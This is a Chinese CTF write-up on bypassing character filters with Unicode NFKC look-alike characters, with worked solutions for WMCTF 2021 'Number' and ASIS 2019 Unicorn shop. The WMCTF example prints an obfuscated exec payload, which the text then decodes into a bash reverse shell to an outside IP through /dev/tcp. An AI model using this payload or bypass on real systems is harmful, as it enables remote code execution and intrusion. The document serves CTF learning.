前置知识
Unicode等价替换
标准等价和兼容等价
Unicode分为标准等价和兼容等价
标准等价是指保持视觉上和功能上的等价。例如字符‘ü’和由‘u’及 ‘¨’所组成的序列是标准等价
兼容等价更着重于单个字符,也就是我们下面要用到的unicode替换,如
𝑓
经过NFKC转换后兼容等价于f
四种转换形式
利用方式
有时候防御方会ban掉敏感字符,这时候就可以利用unicode字符欺骗的方式绕过字符过滤
由于不同的脚本语言提供了不同的转换方式,因此不同的脚本语言有不同的绕过方式
python使用NFKC的转换方式
python脚本生成替换表
1 | #!/usr/bin/env python |
也可以到以下网站寻找可替换的unicode字符
例题
2021WMCTF Number
考点:unicode字符欺骗
当输入的number等于lucky_number时,返回You're so lucky
其实没什么用,真正的考点在代码执行
参考T4rn师傅的文章:https://xz.aliyun.com/t/9271
将exec替换为其他unicode字符𝑒𝑥𝑒𝑐
然后将其他字符转换为bytes相加
最终payload:
1 | Name=𝑒𝑥𝑒𝑐(bytes([105])+bytes([109])+bytes([112])+bytes([111])+bytes([114])+bytes([116])+bytes([32])+bytes([111])+bytes([115])+bytes([59])+bytes([111])+bytes([115])+bytes([46])+bytes([115])+bytes([121])+bytes([115])+bytes([116])+bytes([101])+bytes([109])+bytes([40])+bytes([34])+bytes([98])+bytes([97])+bytes([115])+bytes([104])+bytes([32])+bytes([45])+bytes([99])+bytes([32])+bytes([39])+bytes([101])+bytes([120])+bytes([101])+bytes([99])+bytes([32])+bytes([98])+bytes([97])+bytes([115])+bytes([104])+bytes([32])+bytes([45])+bytes([105])+bytes([32])+bytes([38])+bytes([62])+bytes([47])+bytes([100])+bytes([101])+bytes([118])+bytes([47])+bytes([116])+bytes([99])+bytes([112])+bytes([47])+bytes([52])+bytes([50])+bytes([46])+bytes([49])+bytes([57])+bytes([50])+bytes([46])+bytes([49])+bytes([51])+bytes([54])+bytes([46])+bytes([49])+bytes([52])+bytes([56])+bytes([47])+bytes([49])+bytes([50])+bytes([51])+bytes([52])+bytes([32])+bytes([60])+bytes([38])+bytes([49])+bytes([39])+bytes([34])+bytes([41])) |
即
1 | Name=exec(b'import os;os.system("bash -c \'exec bash -i &>/dev/tcp/42.192.136.148/1234 <&1\'")') |
[ASIS 2019]Unicorn shop
一个购买独角兽的界面,前面几个都买不了,显示如下
但是到购买第四个独角兽的时候显示不一样,只能输入一个字符
抓包也有提示
很多网站都是UTF-8
编码,怎么到这就不一样了,再结合只能输入一个字符的错误提示,应该想到是编码安全的问题,通过构造相似的字符来绕过ssrf的waf是常用的手段,现在用到了这里
到这个网站https://www.compart.com/en/unicode/ 寻找合适的字符,搜索thousand
随便找一个数值大于1337
的,因为购买第四个独角兽需要1337,因此需要找Unicode大于1337的跟它比较,大于它才能成功
将0x
替换为%
,url解码之后就会变回特殊字符
得到flag
blackhat 2019
上面也有这个相似的议题